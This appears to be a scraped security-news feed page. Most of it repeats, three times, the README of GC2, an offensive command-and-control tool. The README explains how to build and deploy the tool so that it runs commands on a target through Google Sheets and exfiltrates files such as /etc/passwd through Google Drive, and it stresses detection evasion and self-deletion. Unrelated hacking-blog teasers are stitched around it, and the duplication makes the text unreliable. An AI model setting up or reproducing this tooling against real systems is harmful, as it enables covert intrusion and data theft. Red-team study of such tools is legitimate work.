Start the C2 --sheet --drive ">gc2-sheet --key --sheet --drive
PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)
Features
Command execution using Google Sheet as a consoleDownload files on the target using Google DriveData exfiltration (https://www.kitploit.com/search/label/Exfiltration) using Google DriveExit
Command execution
The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column "A", and the output will be printed in the column "B".
Data exfiltration file
Special commands are reserved to perform the upload and download to the target machine Example: upload;/etc/passwd ">From Target to Google Drive
upload;
Example:
upload;/etc/passwd

Download file
Special commands are reserved to perform the upload and download to the target machine; Example: download;;/home/user/downloaded.txt ">From Google Drive to Target
download;;
Example:
download;;/home/user/downloaded.txt

Exit
By sending the command exit, the program will delete itself from the target and kill its processPS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.
WorkFlow

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Demo


Download GC2-sheet (https://github.com/looCiprian/GC2-sheet)

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GC2 - A Command And Control Application That Allows An Attacker To Execute Commands On The Target Machine Using Google Sheet And Exfiltrate Data Using Google Drive

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.WhyThis program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.Furthermore, the program will interact only with Google's domains (*.google.com) to make detection more difficult.PS: Please don't upload the compiled binary on VirusTotal :)Set upBuild executablegit clone https://github.com/looCiprian/GC2-sheetcd GC2-sheetgo build gc2-sheet.goCreate a new google "service account"Create a new google "service account" using https://console.cloud.google.com/, create a .json key file for the service accountEnable Google Sheet API and Google Drive APIEnable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/goSet up Google Sheet and Google DriveCreate a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email) Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)Start the C2gc2-sheet --key --sheet --drive PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)FeaturesCommand execution using Google Sheet as a consoleDownload files on the target using Google DriveData exfiltration using Google DriveExitCommand executionThe program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column "A", and the output will be printed in the column "B".Data exfiltration fileSpecial commands are reserved to perform the upload and download to the target machineFrom Target to Google Driveupload;Example:upload;/etc/passwdDownload fileSpecial commands are reserved to perform the upload and download to the target machineFrom Google Drive to Targetdownload;;Example:download;;/home/user/downloaded.txtExitBy sending the command exit, the program will delete itself from the target and kill its processPS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.WorkFlowDemoDownload GC2-sheet
Read more...

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Hacking on Medium
Partial write-up for Horizontall [HTB]

https://cdn-images-1.medium.com/max/859/1*kErZscxW7U9MR_1geZdqzQ.png
Recon

Continue reading on Medium »

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Hacking on Medium
Blizzard’s Bug Bounty Program on Immunefi

https://cdn-images-1.medium.com/max/1920/1*lXvEARFUx3vxjC-bfVR8kQ.jpeg
Pleased to announce Blizzard is doing a bug bounty program on Immunefi.com, DeFi’s leading bug bounty platform! Ethical hackers can review…

Continue reading on Medium »

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Hacking on Medium
Command Injection — All in one Blog

https://cdn-images-1.medium.com/max/1200/1*DBDo8776nRpqhn3EX6O6WA.jpeg
Everything about command injection

Continue reading on InfoSec Write-ups »

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Command Injection — All in one Blog
https://infosecwriteups.com/command-injection-all-in-one-blog-52591ad750df?source=rss------bug_bounty-5

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Everything about command injectionContinue reading on InfoSec Write-ups » (https://infosecwriteups.com/command-injection-all-in-one-blog-52591ad750df?source=rss------bug_bounty-5)

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Command Injection — All in one Blog

Everything about command injectionContinue reading on InfoSec Write-ups »
Read more...

KitPloit - PenTest Tools!
GC2 - A Command And Control Application That Allows An Attacker To Execute Commands On The Target Machine Using Google Sheet And Exfiltrate Data Using Google Drive

https://blogger.googleusercontent.com/img/a/AVvXsEgB9k7xplESeVf5vz9e3NpOvY6G5Bhysh1xwg1KPH3SxfOa1gRBKTrjrldHkB_shT1Y7XGmaNNhvrb7lGI90FDbmkp0ni9nMtHQC47Q9VDf2Ku1gsHF0AFuoLehMm5ziKP8tjxhaygMRf_zURKiO0OSGwRmwYNyJgRg3FUU3GiOzkXadC1WRD_Ddc547A=s320 GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive. WhyThis program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.

Furthermore, the program will interact only with Google's domains (*.google.com) to make detection more difficult.

PS: Please don't upload the compiled binary on VirusTotal :) Set up1.
Build executable git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
go build gc2-sheet.go2.
Create a new google "service account"

Create a new google "service account" using https://console.cloud.google.com/, create a .json key file for the service account

3.
Enable Google Sheet API and Google Drive API

Enable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go

4.
5.
Set up Google Sheet and Google Drive

Create a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email) https://blogger.googleusercontent.com/img/a/AVvXsEh_qx_XUSd1Qdd89JCnK9vI_wb4NxJbCSvLLquAAyudcr2_Fpb_OUOv_m_hRJpXua0K3WRB5Qdd1cRkNqgMlWFFc99RiKSbBQYgYiDo3sbWdwiJXTfH3crIMkJYv7hiQI0VHdGScUEaZFJT3a7MQvh0vRx8aJsOf0NNn8yHlqmp6ihCbVe8ufkl_r-M_w=w640-h334 Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email) https://blogger.googleusercontent.com/img/a/AVvXsEgAxJt6B24D_aAmGzMjQY1VZWD1dwTXg4COAXnmiNiwgPdapFI2EAHPZHaItydrBhvB9xEK4cED8Gms92PFw3swu8lam8ZXHmBv1UkZZ-b_SAgiMdSBip0OdRG5QZGfbNNKX5UivFDxRs1SfUcHZLcChF2eYnjoJVP88HwZBtQkbra5Jk6sPXJG3AsEcA=w640-h420 6.
Start the C2 gc2-sheet --key PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go) Features* Command execution using Google Sheet as a console
* Download files on the target using Google Drive
* Data exfiltration using Google Drive
* Exit Command executionThe program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column "A", and the output will be printed in the column "B". Data exfiltration fileSpecial commands are reserved to perform the upload and download to the target machine From Target to Google Drive
upload;Download fileSpecial commands are reserved to perform the upload and download to the target machine From Google Drive to Target
download;ExitBy sending the command exit, the program will delete itself from the target and kill its process

PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted. WorkFlowhttps://blogger.googleusercontent.com/img/a/AVvXsEhiiS4LsDVuTIsZxLUxn2kYyNbUoJUFLjeDGaChnspXZfkiQNmUtA5AmfxbUXcVRPR[...]

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yJXZchwLOWBIvazUbrMZgA_tNdoseStHrx9aZ3v5ULSry2ssV2mMDvFzrzqvStbXfe-hxYYt44-X1SjawNUc4n9KVTs4IXUnh2qWo87tYXIz71Gm-8NvpPDg8jQ=w640-h360 DemoDownload GC2-sheet

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Dark Reading: Attacks/Breaches
Enterprises Allocating More IT Dollars on Cybersecurity

Enterprises are allocating more IT dollars towards implementing a multilayered approach to securing data and applications against new threats, data shows.

hacking: security in practice
sickOS v1.1 Walkthrough

I just published sickOS v1.1, check it out!!

https://medium.com/@sarangiprateek80/sickos-v1-1-e6e3ce9c99e2

submitted by /u/psarangi112
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